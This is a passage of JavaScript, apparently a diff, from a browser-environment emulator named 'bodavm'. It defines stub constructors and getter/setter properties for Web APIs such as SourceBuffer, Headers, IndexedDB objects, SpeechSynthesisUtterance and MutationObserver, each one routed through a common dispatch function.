(){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowEnd_get", arguments)}, set:function appendWindowEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowEnd_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdatestart", {configurable:true, enumerable:true, get:function onupdatestart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdatestart_get", arguments)}, set:function onupdatestart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdatestart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdate", {configurable:true, enumerable:true, get:function onupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdate_get", arguments)}, set:function onupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdateend", {configurable:true, enumerable:true, get:function onupdateend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdateend_get", arguments)}, set:function onupdateend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdateend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "appendBuffer", {configurable:true, enumerable:true, writable:true, value:function appendBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "changeType", {configurable:true, enumerable:true, writable:true, value:function changeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "changeType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBuffer', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "remove", arguments)}},'prototype'); - -// DOMStringList对象 -bodavm.memory.globalobj['DOMStringList'] = function DOMStringList(){if (!(this instanceof DOMStringList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMStringList'], "DOMStringList"); -bodavm.toolsFunc.defineProperty('DOMStringList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMStringList', "contains", {configurable:true, enumerable:true, writable:true, value:function contains (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "contains", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMStringList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "item", arguments)}},'prototype'); - -// Headers对象 - -bodavm.memory.globalobj['Headers'] = function Headers(){this._boarg= new bodaobj.window.Headers();this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Headers'], "Headers"); - -bodavm.toolsFunc.defineProperty('Headers', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "append", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "entries", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "forEach", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "values", arguments)}},'prototype'); - - -// IDBObjectStore对象 - -bodavm.memory.globalobj['IDBObjectStore'] = function IDBObjectStore(){if (!(this instanceof IDBObjectStore)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBObjectStore'], "IDBObjectStore"); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "name_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "keyPath", {configurable:true, enumerable:true, get:function keyPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "keyPath_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "indexNames", {configurable:true, enumerable:true, get:function indexNames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "indexNames_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "transaction", {configurable:true, enumerable:true, get:function transaction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "transaction_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "autoIncrement", {configurable:true, enumerable:true, get:function autoIncrement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "autoIncrement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "add", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "clear", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "count", {configurable:true, enumerable:true, writable:true, value:function count (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "count", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "createIndex", {configurable:true, enumerable:true, writable:true, value:function createIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "createIndex", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "deleteIndex", {configurable:true, enumerable:true, writable:true, value:function deleteIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "deleteIndex", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "getAllKeys", {configurable:true, enumerable:true, writable:true, value:function getAllKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getAllKeys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "getKey", {configurable:true, enumerable:true, writable:true, value:function getKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getKey", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "index", {configurable:true, enumerable:true, writable:true, value:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "index", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "openCursor", {configurable:true, enumerable:true, writable:true, value:function openCursor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "openCursor", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "openKeyCursor", {configurable:true, enumerable:true, writable:true, value:function openKeyCursor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "openKeyCursor", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "put", {configurable:true, enumerable:true, writable:true, value:function put (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "put", arguments)}},'prototype'); - - -// IDBTransaction对象 -bodavm.memory.globalobj['IDBTransaction'] = function IDBTransaction(){if (!(this instanceof IDBTransaction)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBTransaction'], "IDBTransaction"); -bodavm.memory.globalobj['IDBTransaction'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['IDBTransaction'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('IDBTransaction', "objectStoreNames", {configurable:true, enumerable:true, get:function objectStoreNames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "objectStoreNames_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "mode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "durability", {configurable:true, enumerable:true, get:function durability (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "durability_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "db", {configurable:true, enumerable:true, get:function db (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "db_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "error_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "oncomplete", {configurable:true, enumerable:true, get:function oncomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "oncomplete_get", arguments)}, set:function oncomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "oncomplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "commit", {configurable:true, enumerable:true, writable:true, value:function commit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "commit", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "objectStore", {configurable:true, enumerable:true, writable:true, value:function objectStore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "objectStore", arguments)}},'prototype'); - -// IDBVersionChangeEvent对象 -bodavm.memory.globalobj['IDBVersionChangeEvent'] = function IDBVersionChangeEvent(){if (!(this instanceof IDBVersionChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IDBVersionChangeEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBVersionChangeEvent'], "IDBVersionChangeEvent"); -bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['IDBVersionChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "oldVersion", {configurable:true, enumerable:true, get:function oldVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "oldVersion_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "newVersion", {configurable:true, enumerable:true, get:function newVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "newVersion_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "dataLoss", {configurable:true, enumerable:true, get:function dataLoss (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "dataLoss_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "dataLossMessage", {configurable:true, enumerable:true, get:function dataLossMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "dataLossMessage_get", arguments)}, set:undefined},'prototype'); - -// TextTrackList对象 -bodavm.memory.globalobj['TextTrackList'] = function TextTrackList(){if (!(this instanceof TextTrackList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackList'], "TextTrackList"); -bodavm.memory.globalobj['TextTrackList'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['TextTrackList'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('TextTrackList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackList', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackList', "onaddtrack", {configurable:true, enumerable:true, get:function onaddtrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onaddtrack_get", arguments)}, set:function onaddtrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onaddtrack_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackList', "onremovetrack", {configurable:true, enumerable:true, get:function onremovetrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onremovetrack_get", arguments)}, set:function onremovetrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onremovetrack_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackList', "getTrackById", {configurable:true, enumerable:true, writable:true, value:function getTrackById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "getTrackById", arguments)}},'prototype'); - -// SpeechSynthesisUtterance对象 -bodavm.memory.globalobj['SpeechSynthesisUtterance'] = function SpeechSynthesisUtterance(){this._boarg= new bodaobj.window.SpeechSynthesisUtterance();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesisUtterance'], "SpeechSynthesisUtterance"); -bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['SpeechSynthesisUtterance'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "lang", {configurable:true, enumerable:true, get:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "lang_get", arguments)}, set:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "lang_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "voice", {configurable:true, enumerable:true, get:function voice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "voice_get", arguments)}, set:function voice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "voice_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "volume", {configurable:true, enumerable:true, get:function volume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "volume_get", arguments)}, set:function volume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "volume_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "rate", {configurable:true, enumerable:true, get:function rate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "rate_get", arguments)}, set:function rate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "rate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "pitch", {configurable:true, enumerable:true, get:function pitch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "pitch_get", arguments)}, set:function pitch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "pitch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onstart", {configurable:true, enumerable:true, get:function onstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onstart_get", arguments)}, set:function onstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onend", {configurable:true, enumerable:true, get:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onend_get", arguments)}, set:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onpause_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onresume", {configurable:true, enumerable:true, get:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onresume_get", arguments)}, set:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onresume_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onmark", {configurable:true, enumerable:true, get:function onmark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onmark_get", arguments)}, set:function onmark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onmark_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onboundary", {configurable:true, enumerable:true, get:function onboundary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onboundary_get", arguments)}, set:function onboundary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onboundary_set", arguments)}},'prototype'); - -// MediaEncryptedEvent对象 -bodavm.memory.globalobj['MediaEncryptedEvent'] = function MediaEncryptedEvent(){if (!(this instanceof MediaEncryptedEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaEncryptedEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaEncryptedEvent'], "MediaEncryptedEvent"); -bodavm.memory.globalobj['MediaEncryptedEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MediaEncryptedEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MediaEncryptedEvent', "initDataType", {configurable:true, enumerable:true, get:function initDataType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaEncryptedEvent'].prototype, "MediaEncryptedEvent", "initDataType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaEncryptedEvent', "initData", {configurable:true, enumerable:true, get:function initData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaEncryptedEvent'].prototype, "MediaEncryptedEvent", "initData_get", arguments)}, set:undefined},'prototype'); - -// MutationObserver对象 -bodavm.memory.globalobj['MutationObserver'] = function MutationObserver(){if (!(this instanceof MutationObserver)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MutationObserver': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationObserver'], "MutationObserver"); -bodavm.toolsFunc.defineProperty('MutationObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MutationObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "observe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MutationObserver', "takeRecords", {configurable:true, enumerable:true, writable:true, value:function takeRecords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "takeRecords", arguments)}},'prototype'); - -// NamedNodeMap对象 -bodavm.memory.globalobj['NamedNodeMap'] = function NamedNodeMap(){if (!(this instanceof NamedNodeMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NamedNodeMap'], "NamedNodeMap"); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "length", 